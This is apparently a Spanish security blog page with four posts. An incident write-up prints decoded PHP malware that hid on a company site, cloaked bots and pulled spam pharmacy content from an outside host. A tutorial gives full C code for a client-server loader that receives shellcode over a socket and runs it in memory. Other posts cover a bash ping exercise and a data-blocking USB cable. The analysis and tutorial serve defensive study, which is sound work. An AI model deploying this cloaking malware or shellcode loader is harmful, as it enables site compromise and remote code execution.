oHjNWZXWX2J3i2uNaevtFq4dWn58JThKSTtnqb+AVYJqkH5KYvLfB3L0tX/0+9M3rfa9ILMHgrM2VGAKUudQL+fgVP3ZiU56ivJm/XiOgqsSH6RyjlhvhMxptODehg/o3/8P')));

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

Cuando en realidad el archivo original debería ser este:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

En este código sospechoso lo único entendible son estas 3 primeras palabras, evalgzinflatebase64_decode, las cuales son funciones de PHP así que me puse a investigar que había detrás de ese texto.

Función eval:

Evalúa una cadena de caracteres como código PHP

Descripción:

void eval (string code_str)

eval (): evalúa la cadena de caracteres dada en code_str como código PHP. Entre otras cosas, esto puede ser útil para almacenar código en un campo de texto de base de datos para una ejecución posterior.

Hay algunos aspectos a tener en cuenta cuando se utiliza eval (). Recordar que la cadena de caracteres pasada debe ser código PHP válido, incluyendo aspectos como sentencias de terminación con un punto y coma para que el parser no finalice en la línea después de eval(), y secuencias de formato correctas en code_str.

Recordar también que las variables a las que se les da valor en eval() retendrán estos valores posteriormente en el script principal.

Para que quede más clara la definición pondré un ejemplo:

<?php

$cadena1 = 'taza';

$cadena2 = 'cafe';

$str = 'Esta es una $cadena1 de $cadena2 con dos de azucar.<br>';

echo 'Sin eval()<br>';

echo $str;

eval( "\$str = \"$str\";" );

echo 'Con eval()<br>';

echo $str;

?>

Lo que nos arrojaría una salida así:

Sin eval()

Esta es una $cadena1 de $cadena2 con dos de azúcar.

Con eval()

Esta es una taza de café con dos de azúcar.

Función gzinflate()

La función gzinflate descomprime una cadena comprimida con la función gzdeflate(), entonces para comprender bien su funcionamiento tendremos que echarle una mirada a la función gzdeflate().

gzdeflate(): Función que comprime una cadena usando el formato DEFLATE(deflación).

Esta función recibe dos parámetros (datos, nivel):

Datos: Los datos a comprimir.

Nivel: El nivel de compresión. Puede ser dado como 0 para no compresión hasta 9 para la compresión máxima. Si no se da, el nivel por defecto de compresión será el valor por defecto de la librería zlib(Es una librería de compresión de propósito general, disponible como código abierto).

Esta función retorna la cadena comprimida o FALSE si ocurre un error.

Nota Importante:

Que es Deflate(deflación)

Es un algoritmo de compresión de datos.

El algoritmo deflación es un sistema de compresión de datos sin pérdidas que usa una combinación del algoritmo LZ77 y la codificación Huffman. Fue originalmente definido por Phil Katz para la versión 2 de su herramienta de archivado PKZIP, y fue más tarde especificado como RFC 1951. Adjuntaré la URL al RFC para no desviarnos del tema central. (http://www.faqs.org/rfcs/rfc1951).

gzinflate(datos,longitud): datos: Los datos comprimidos por gzdeflate().

Longitud: La longitud máxima de los datos a descodificar o descomprimir. (La función retornará un error si los datos ya sin comprimir, son mayores a 32768 veces la longitud de los dados en el parámetro datos o más que el parámetro opcional longitud.)

<?php

$comprimir = gzdeflate('unpase',9);

echo 'Funcion gzdeflate()<br>';

echo "$comprimir <br>"; $descomprimir = gzinflate($comprimir); echo 'Funcion gzinflate()<br>';

echo $descomprimir;

?>

Resultado

Funcion gzdeflate()

+-(NÔK-

Funcion gzinflate()

unpase

Función base64_decode ()

Decodifica datos codificados en base64, mediante la función base64_encode ().

base64:

Base 64 es un sistema de numeración posicional que usa 64 como base. Es la mayor potencia de dos que puede ser representada usando únicamente los caracteres imprimibles de ASCII. Esto ha propiciado su uso para codificación de correos electrónicos, PGP y otras aplicaciones. Todas las variantes famosas que se conocen con el nombre de Base64 usan el rango de caracteres A-Z, a-z y 0-9 en este orden para los primeros 62 dígitos, pero los símbolos escogidos para los últimos dos dígitos varían considerablemente de unas a otras.

Para no profundizar en el tema dejo los números de los RFC (Request for Comments):

#RFC 989 (Privacy Enhancement for Electronic Internet Mail) (obsolete)#RFC 1421 (Privacy Enhancement for Electronic Internet Mail)#RFC 2045 (Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies)#RFC 3548 (The Base16, Base32, and Base64 Data Encodings)#RFC 4648 (The Base16, Base32, and Base64 Data Encodings)

Nota:

Algo interesante de este sistema es la posibilidad de codificar imágenes a texto y luego incluirlas sin tener que llevar la imagen. Se señala el mime type y el código en base64 y así se incluyen las imágenes.

Ejemplo:<img id=’logo’src=”data:image/gif;base64,”Codigo_base64_de_la_imagen”/>

Otra funcionalidad se la dan los spammers para incluir mensajes para filtros de email que no decodifican base64 y logran saltárselos.

Función base64_encode (): devuelve el valor datos codificado con base64. Este método de cifrado está diseñado para hacer que los datos binarios se adapten al transporte a través de capas que no manejan limpiamente caracteres de 8-bits, tales como cuerpos de correo.

Los datos cifrados con base64 ocupan aproximadamente un 33% más de espacio que los datos originales.

Función base64_decode (): decodifica datos cifrados y devuelve los datos originales, o FALSE en caso de fallo. Los datos devueltos pueden ser binarios.

<?php

$cadena = "Empresa-ejemplo.es";

echo "<b>Cadena a codificar: <br></b>";

echo $cadena;

echo "<b><br>Cadena Codificada: <br></b>";

echo base64_encode($cadena);

echo "<b><br>Cadena Decodificada: <br></b>";

$decodificar = base64_encode($cadena); echo base64_decode($decodificar);

?>

Resultado

Cadena a codificar:

Empresa-ejemplo.es

Cadena Codificada:

RW1wcmVzYS1lamVtcGxvLmVz

Cadena Decodificada:

Empresa-ejemplo.es

Desarrollo del problema

Lo que había en un comienzo era algo así:

eval(gzinflate(base64_decode(“string_sospechoso”)));

Os lo dejo como tarea para casa el descifrar el código anterior si queréis examinar lo, ya que con lo que explico anteriormente no sera muy difícil descifrarlo

Al descifrar quedaría algo similar a la siguiente imagen

La una de las soluciones para descifrar el código anterior es la siguiente./* Remplazo la función  eval() por echo y para mayor claridad filtro la salida con la función htmlspecialchars(), */echo htmlspecialchars(gzinflate(base64_decode("string_sospechoso"))),ENT_QUOTES;

Resultado después de decodificar

$dir = '754692293';

$pages = 'www.Empresa-ejemplo.es/fades/facentros/biblicos/incionGral.php

www.Empresa-ejemplo.es/eios/syfechas.php

www.Empresa-ejemplo.es/mo

www.Empresa-ejemplo.es/ests/antil.php

www.Empresa-ejemplo.es/estciencia09/grama.php

';

$pages=explode("\n",$pages);

$des = str_rot13('fge_ebg13');

$request_url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

$request_url=trim(str_replace('www.','',$request_url));

$request_url=str_replace('/','',$request_url);

$erase = base64_decode(str_rot13('LzSmMGL0K2EyL29xMD=='));

$request_url=str_replace('&amp;','',$request_url);

$request_url=str_replace('&','',$request_url);

$c = 'dWdnYzovL2N1YzUteXZvLnBiei90cmcv';

$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];

$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];

$ref = @$_SERVER['HTTP_REFERER'];$ref = urlencode($ref);

$server_host = @$_SERVER['HTTP_HOST'];

$server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];

$server_remote_addr = @$_SERVER['REMOTE_ADDR'];

$server_query_string = @$_SERVER['QUERY_STRING'];

$server_signature = @$_SERVER['SERVER_SIGNATURE'];

$server_request = @$_SERVER['REQUEST_URI'];

$server_ip = @$_SERVER['REMOTE_ADDR'];

foreach($pages as $page){

     $addr=trim(str_replace('www.','',$page));

     $page_tmp=str_replace('&amp;','',$addr);

     $page_tmp=str_replace('&','',$page_tmp);

     $page_tmp=str_replace('/','',$page_tmp);

     if ($request_url==$page_tmp){

          @$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);

          if (@$is_human==false){

               if(ini_get('allow_url_fopen')==1){

                    echo @file_get_contents('http://files-uploader.com/'.$dir.'/'.md5($addr));

               }

               else if(function_exists('curl_init')){

                    $ch = curl_init();

                    $c_url = 'http://files-uploader.com/'.$dir.'/'.md5($addr);

                    curl_setopt($ch, CURLOPT_URL, $c_url);

                    curl_setopt($ch, CURLOPT_HEADER, 0);

                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

                    $data =  curl_exec($ch);

                    echo $data;

               }

               exit;

          }

          else{

               $keys = Array(

                    'viagra',

                    'cialis',

                    'propecia',

                    'levitra',

                    'drug',

                    'levitra',

                    'propecia',

                    'pharmac',

                    'medic',

                    'viagro',

                    'cailis',

                    'cialus',

                    'taladaf',

                    'sildenaf',

                    'cialas',

                    'viagria',

                    'prescription',

                    'cialas',

                    'viagria',

                    'viagara',

                    'cialia',

                    'ciallis',

                    'ciailas',

                    'cialias',

                    'vardenaf',

                    'tadalaf',

                    'slidenaf'

               );

               $loref = strtolower($ref);

               foreach ($keys as $key)

                    if (strpos($loref,$key)!==false){

                         header("Location: http://locate-runer.com/go.php?sid=1");

                         exit;

                    }

          }

     break;

     }

}

function detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){

    $stop_ips_masks = array(

        "66\.249\.[6-9]

[0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255

        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255

        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,

        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255

        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255

        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255

        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255

        "93\.172\.94\.227",                // MacFinder

        "212\.100\.250\.218",            // Wells Search II

        "71\.165\.223\.134",            // Indy Library

        "70\.91\.180\.25",

        "65\.93\.62\.242",

        "74\.193\.246\.129",

        "213\.144\.15\.38",

        "195\.92\.229\.2",

        "70\.50\.189\.191",

        "218\.28\.88\.99",

        "165\.160\.2\.20",

        "89\.122\.224\.230",

        "66\.230\.175\.124",

        "218\.18\.174\.27",

        "65\.33\.87\.94",

        "67\.210\.111\.241",

        "81\.135\.175\.70",

        "64\.69\.34\.134",

        "89\.149\.253\.169",

        "64\.233\.1[6-8]

[1-9]\.[0-9]+",

        "64\.233\.19[0-1]\.[0-9]+",

        //google from iplists

        "209\.185\.108\.[0-9]+",

        "209\.185\.253\.[0-9]+",

        "209\.85\.238\.[0-9]+",

        "216\.239\.33\.9[6-9]",

        "216\.239\.37\.9[8-9]",

        "216\.239\.39\.9[8-9]",

        "216\.239\.41\.9[6-9]",

        "216\.239\.45\.4",

        "216\.239\.46\.[0-9]+",

        "216\.239\.51\.9[6-9]",

        "216\.239\.53\.9[8-9]",

        "216\.239\.57\.9[6-9]",

        "216\.239\.59\.9[8-9]",

        "216\.33\.229\.163",

        "64\.233\.173\.[0-9]+",

        "64\.68\.8[0-9]\.[0-9]+",

        "64\.68\.9[0-2]\.[0-9]+",

        "72\.14\.199\.[0-9]+",

        "8\.6\.48\.[0-9]+",

        //google from iplists

// 10.0.0.0 - 10.255.255.255 iana

        "207\.211\.40\.82",

        "67\.162\.158\.146",

        "66\.255\.53\.123",

        "24\.200\.208\.112",

        "129\.187\.148\.240",

        "129\.187\.148\.244",

        "199\.126\.151\.229",

        "118\.124\.32\.193",

        "89\.149\.217\.191"

    );

    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');

    $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);

    $is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = "";

    foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("$stop_ip_mask", $server_ip)) {

        $is_human = false;  break;

    }

    if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$server_user_agent) !== false){

        $is_human = false;  break;

    }

    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent)) {

        $is_human = false;

    }

    if($is_human and strlen($server_user_agent)<=11) {

        $is_human = false;

    }

    if(stristr($ref,$server_query_string)) {

        $is_human = false;

    }

    return $is_human;

}

Las conclusiones que se pueden sacar de este código son:

  • Es accesible cuando se cumplen ciertos requisitos y solo cuando es redireccionado desde buscadores.
  • El hacker oculto muy bien su código al incrustarlo en una página que se utiliza únicamente como redirección, ya que en ella no se puede ver su código fuente a menos que uno la busque directamente en el servidor y la examine cosa que sería buscar una aguja en un pajar con la cantidad de páginas web que tiene la organización.
  • El objetivo del hacker es utilizar a la organización para realizar black SEO  para la venta ilegal de VIAGRA.

Realizando un seguimiento el origen del hacking conseguir llegar a un servidor de archivos ubicado en http://files-uploader.com, al cual no tenemos premisos para ver su contenido. Pero si nos fijamos en el código anterior hay una variable llamada $dir con valor 754692293 y si este valor lo agregamos a la URL,  veremos todos los archivos asociados a la organización. Estos eran utilizados para la venta de viagra de forma ilegal usando a la organización como puente de enlace.

Continuando con la investigación encuentro que el sitio utilizado por el hacker, utiliza algún sistema de proxy, dado que al realizar un rastreo de geolocalización, obtengo punto de origen distintos países como Holanda, EEUU, India, Rusia. Lo que tienen todos los resultados en común, es que el proveedor de servicio del dominio, es uno llamado http://inferno.name/, el cual es una página web Rusa que ofrece servicios de hosting con servidores en distintos países, el cual tiene su sede central supuestamente en Londres.

Mi conclusión es que el dominio http://files-uploader.com  se utiliza, solo para realizar delitos en internet, ya que la Empresa-Ejemplo no es el único dominio afectado. Realizando una búsqueda personalizada en Google con “site:files-uploader.com”, se podrá ver otros directorios con paginas preparadas para otros sitios web y esto hace pensar que este no fue un hacking dirigido a Empresa-Ejemplo, sino que fue un hacking automatizado en masa a distintos dominios en el mundo, realizando un posible ataque a una versión de PHP, apache, wordpress, joomla, dupal o cualquier aplicación web desactualizada con fallos de seguridad. Trate de confirmar mis sospechas realizando búsquedas en Google y encontré, que existen alrededor de 1 millón de sitios afectados, y no solo con viagra sino que muchas web tiene troyanos y virus como se muestra en las siguientes ilustraciones.

Como medida de solución, propuse en primera instancia revisar los logs del sistema para corregir lo antes posible  el agujero de seguridad, por la cual entro el hacker ya que si no se soluciona podría entrar varias veces y no se conseguiría nada solamente limpiando los archivos infectados. Esto sería una pérdida de tiempo ya que el peligro de una intrusión seguiría existiendo. Otra solución puede ser el anular el funcionamiento de la función EVAL de PHP para evitar la ejecución de código remoto a través de una intrusión remota pero en la página de la Empresa-Ejemplo se utiliza bastantes veces esa función, lo que nos descarta la posibilidad de desactivar la función ya que habría que estudiar todo el código de las distintas aplicaciones.

Para continuar con la investigación fui al CPD y solicite permiso para realizar búsquedas con comandos Unix en el sistema de ficheros de la página web, que correspondieran con el patrón utilizado por el hacker y en esa búsqueda me encontré con 4 ficheros que coinciden con el patrón  buscado.

Analizando los ficheros encontré que el hacker fue muy listo ya que incrustaba codigo PHP en 2 ficheros HTML y con un .htaccess le daba la posibilidad de ejecutar código PHP en HTML,  estos ficheros contenían un formulario para subir archivos en caso de que alguien eliminara las shell esta es una  forma de recuperar el acceso en la organización. El análisis de los otros 2 ficheros concluyo que eran SHELL (Backdoor) en PHP, para administrar el servidor de forma remota. La Shell solicita una contraseña para acceder a ella. Estudiando el código fuente (luego de decodificarlo ya que también utilizaba base64) encontré el hash MD5 de la contraseña y realizando un ataque de fuerza bruta al hash conseguí el password que es 145155.

Entrando en la SHELL esto es lo primero que nos encontramos.

Luego en la página principal nos muestra un panel de administración

Y aquí podemos jugar mucho mucho...

El problema al estar esta Shell en el sistema es crítico ya que se puede navegar visualizar y descargar archivos sensibles para la organización así como también de configuración. Debe ser removida inmediatamente y buscar el error de seguridad que se utilizó para poder ingresarla al sistema, ya que si no se encuentra, el autor podrá utilizar la misma técnica para volver a incluirla en el sistema. También deben comenzar las acciones legales contra el hosting que está cometiendo el delito.

Estas shell fue removida y se actualizo el servicio que causo la vulnerabilidad se le mando un reporte a la GDT y al transcurrir unas semanas el hosting que alojaba los fichero utilizados en el fraude fueron removidos y se canceló su servicio.

Espero que les guste.

Un saludo a todos

“La curiosidad mato al gato y a un hacker le dio su ZeroDay”Sebastian Cornejo.

@CuriositySec sebastian@highsec.es

viernes, 18 de octubre de 2013

Bash Scripting: Remember ICMP Practices (Bash Boys!)

Compartir este artículo:

Hoy hablamos de los recuerdos de hace unos años donde nos pedían ejercicios, que por entonces nos parecían complejos y que a día de hoy nos parecen bastante normalitos. Nuestra etapa universitaria, donde te enseñaban cosas que te gustaban, y otras que no tanto, donde aprendías a relacionarte entre césped y césped,  y por supuesto entre mujeres que iban y venían... Hoy queremos recordar aquellos años con un ejercicio para fanáticos del scripting, los Bash Boys de la terminal.

Problema tipo:

Para un administrador de redes es importante contar con una serie de herramientas que le automaticen la gestión de la red. El alumno debe implementar un script llamado que:

  1. Reciba una lista de direcciones IP o nombres de máquina. Puede recibir la lista de la siguiente forma:
    1. a)  Por medio de argumentos, precedidos por el token ”hosts”
                       $ ./connect.sh hosts maquina1 [maquina2 ... ...]
    2. b)  Por medio de un fichero, indicándolo por el token ”file” $ ./connect.sh file fichero_hosts. El contenido de fichero hosts es una máquina por línea.
                       maquina1                 maquina2                 ....
    3. c)  Si no se usa ni ”hosts”, ni ”file”, se debe leer por la entrada estándar (mostrando el prompt ”>”), hasta fin de fichero.
  2. Por cada máquina, el script debe indicar si está activa o no (más concretamente si contesta a ping o no). Ninguna otra información debe aparecer en la pantalla.
  3. En caso de usar la opci ́on ”file”, el script debe comprobar la existencia del fichero indicado y que tiene permisos de lectura sobre el mismo. 

Nuestra solución:

En primer lugar tendremos que pensar en el paso de parámetros de hosts y file. Para ello utilizamos un case en bash, y seleccionar el parámetro primero ($1) y ver si contiene una de esas dos palabras. En el caso de contener la palabra hosts, recorreremos con un bucle for y el uso de la variable $* todos los elementos que son pasados como parámetros al script, exceptuando el $1 que tendremos que compararle para no procesarle. Una vez se van procesando los elementos desde $2 hasta $N, se van realizando los pings, redireccionando su salida a /dev/null. De este modo evitamos que se muestre información por pantalla, algo que no necesitamos, simplemente controlar si los ping se están realizando o no, eso lo conseguimos con el if.

En el caso de file, simplemente tendremos que controlar que el fichero exista y tengamos permiso de lectura. Después iremos leyendo mediante el while el contenido del fichero, y por cada línea realizaremos lo mismo que antes con el ping, para comprobar si hay conectividad. A continuación mostramos un trozo de código:

Para el caso del prompt o que no se metan parámetros de entrada, lo que haremos es colocar un while hasta encontrar un EOF (fin de fichero). El código es algo bastante sencillo como se puede comprobar a continuación:

Ahora os mostramos unas capturas con las ejecuciones en los distintos casos. El primer caso es el de los hosts consecutivos en la ejecución del script:

En el segundo ejemplo de salida utilizamos el parámetro file para indicar que lo siguiente que introducimos es un archivo de texto, el cual es comprobado en su existencia y en sus permisos.

Por último, utilizamos la entrada estándar para recibir los parámetros, existiendo dos casos, el que lo escribe el usuario mediante un prompt y el que se lo pasamos mediante un pipe y la ejecución de cat sobre el fichero de texto.

Esperamos que este problema antiguo de Universidad de bash, y su solución os hayan parecido interesante. Esperamos proponer más problemas de este tipo o mayor entidad y proponer soluciones. Al final de un ingeniero lo que se espera son sus soluciones, y no los problemas que pueda dar.

jueves, 17 de octubre de 2013

Remote Shellcode Injection (Parte II)

Compartir este artículo:
Buenas a todos, en el post vamos a continuar con la cadena  de artículos en la que estamos viendo desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.
En el pasado artículo de la cadena aprendimos a desarrollar un pequeño cliente, que se encargaba de enviar a otra máquina una shellcode para que la ejecutase y la cargase en memoria. Hoy veremos como desarrollar el servidor, que acepte esa shellcode y la cargue en memoria.
Como veréis, ambos programas compartirán porciones de código, por lo que serán pocas las líneas que deberemos incluir, facilitándonos así su comprensión.

Programación

En primer lugar incluiremos las librerías necesarias. Al igual que en el cliente, necesitaremos cargar winsocks.h para poder trabajar con sockets.
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar los buffers para el envío y recibimiento de datos:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
A continuación añadiremos una función que recibirá como argumento la shellcode, y la cargará en memoria:
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
Tras la función maestra de este programa, crearemos las estructuras para trabajar con los sockets e inicializaremos la DLL de sockets:
WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
El paso siguiente será obtener la dirección IP. En nuestra caso os recordamos que lo hemos situado en “localhost” para hacer pruebas en local:
hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
Después realizaremos la conexión con el servidor y copiaremos en la variable SendBuff el texto a enviar:
// Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
Ahora abriremos la comunicación con el cliente solicitándole la shellcode. Para ello enviaremos un mensaje cualquiera. A continuación recogeremos la shellcode que nos envíe el cliente y cerramos el socket:
send(conn_socket,SendBuff,sizeof(SendBuff),0);
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 closesocket(conn_socket);
 WSACleanup();
Ya tenemos la shellcode en la variable RecvBuff, ahora solo nos queda pasársela a la función "x" para cargarla en memoria:
//Ejecucion Shellcode
x(RecvBuff);

Código completo del servidor

A continuación os dejamos el código completo del servidor:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
int main(int argc, char *argv[]){
 WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 //Inicializar dll de sockets
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
 //Obtenemos IP del servidor
 hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
 // Creamos socket
 conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
 // Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
 //Se envia mensaje para solicitar shellcode
 send(conn_socket,SendBuff,sizeof(SendBuff),0);
 //Se recoge la Shellcode
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 //Cierre del socket
 closesocket(conn_socket);
 WSACleanup();
 //Ejecucion de la Shellcode
 x(RecvBuff);
 return EXIT_SUCCESS;
}
Eso es todo por hoy, ya tenéis las dos partes del programa para poder practicar.
En el próximo post haremos varias pruebas con nuestro programa, y ejecutaremos algunas shellcodes curiosas remotamente :)
Saludos!

miércoles, 16 de octubre de 2013

Condones USB. ¡Que no te infecten!

Compartir este artículo:

La seguridad de los dispositivos USB, especialmente los terminales móviles, no es un tema nuevo ni mucho menos. Vivimos conectados y usamos los smartphones para trabajar, twittear o ponernos al día constantemente. Por desgracia las baterías aún tienen que mejorar mucho y a menudo necesitamos un enchufe o toma USB donde cargar el terminal. El año pasado, en la RootedCON 2012 se hizo un experimento y se pudo ver la cantidad de gente que prefirió arriesgarse y conectar su móvil a un cargador sumamente sospechoso antes que quedarte sin batería.

Con este “nuevo” vector de ataque hay empresas que ya están vendiendo condones usb, para poder cargar un terminal sin que puedan transferirse datos. Aunque no son dispositivos muy caros, debido a la sencillez de éstos, vamos a ver cómo crear nuestro propio condón usb o cable “charge only”.

Tanto un USB Condom comercial como uno casero es, simplemente un cable o adaptador usb en el que solo están conectados los cable que transportan la electricidad, dejando sin conectar los pins de datos D+ y D-. Como podéis ver en la tabla, el pinout de una conexión USB o microUSB es muy sencilla por lo que crear nuestro cable solo de carga es una tarea tremendamente fácil.

 

Siguiendo el esquema, si quisiéramos convertir un cable microUSB convencional en uno “charge only” simplemente deberíamos cortar los cables D- y D+ correspondientes a los pines 2 y 3. Esto es aplicable a prácticamente cualquier cable usb, aunque en el caso de querer hacerse en un cable para Iphone, lo haría en un alargo, ya que los cables de Apple no son demasiado económicos.

 

En cualquier caso os recomiendo preparar vuestro cable de seguridad y llevarlo siempre encima, de esta forma evitaréis infectaros o que os hagan un Juice jacking en toda regla.